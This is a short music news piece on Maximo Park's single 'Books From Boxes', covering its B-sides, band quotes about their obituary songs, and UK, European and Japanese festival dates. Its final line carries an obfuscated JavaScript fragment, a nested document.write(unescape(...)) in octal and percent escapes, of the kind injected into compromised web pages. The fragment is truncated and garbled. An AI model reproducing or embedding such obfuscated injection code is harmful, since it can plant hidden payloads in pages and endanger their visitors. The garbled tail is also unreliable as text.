Maximo Park release 'Books From Boxes'

Maximo Park release a new single, taken from their Number Two debuting album Our Earthly Pleasures, through Warp Records on Monday 11th June. Books From Boxes is the follow-up to the Top Ten smash Our Velocity. As a special treat the bonus songs include a cover version of The Proclaimers, hardy perennial, 500 Miles.

500 Miles was recorded for Jo Whilley's Live Lounge and when it was originally aired, earlier this month, lit-up Radio One's switchboard with requests to have the song released. Also featured as a B,side is another song in the bands continuing series of obituaries. This time it's famous Guardian photographer Don McPhee, Our Velocity included Robert Altman and Mary O'Brien as bonus tracks.

Of the obituaries, singer Paul Smith says "I wrote the lyrics for a song about Mary O'Brien, Dusty Springfield's real name, after reading her obituary. I discovered I was interested in reading obituaries as they can be such a great celebration of a persons life, also it became a way for me to write about other people." Guitarist Duncan Lloyd adds " I had some folk inspired music that Paul put his lyrics to and we recorded them at home so as to make them as simple as possible and expose the most natural aspect of what we do. These obituary songs are probably the most thoughtful set of songs we have written to date."

Having just returned from a triumphant, sold-out, European tour, the band are currently on a tour in the Uk.

The remaining headlines dates and festival appearances during the summer are:

May
Mon 28th Newcastle Evolution Festival FREE

July
Sat 7th Ireland Oxegen Festival
Sun 8th Scotland T In The Park SOLD OUT

August
24th Reading Festival
25th Leeds Festival

Maxïmo Park will also be playing the following festivals in Europe & Japan:
1st June Primavera - Barcelona, 2nd June Rock Im Park - Nuremberg, 3rd June Rock Am Ring - Adenau, 4th July Super Bock Super Rock - Lisbon, 11th August Summer Sonic - Tokyo and 12th August Summer Sonic - Osaka.

Already certified Gold in the UK Our Earthly Pleasures was produced by Gil Norton (Pixies / Foo Fighters) and recorded at RAK studios in St Johns Wood during September and October 2006.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;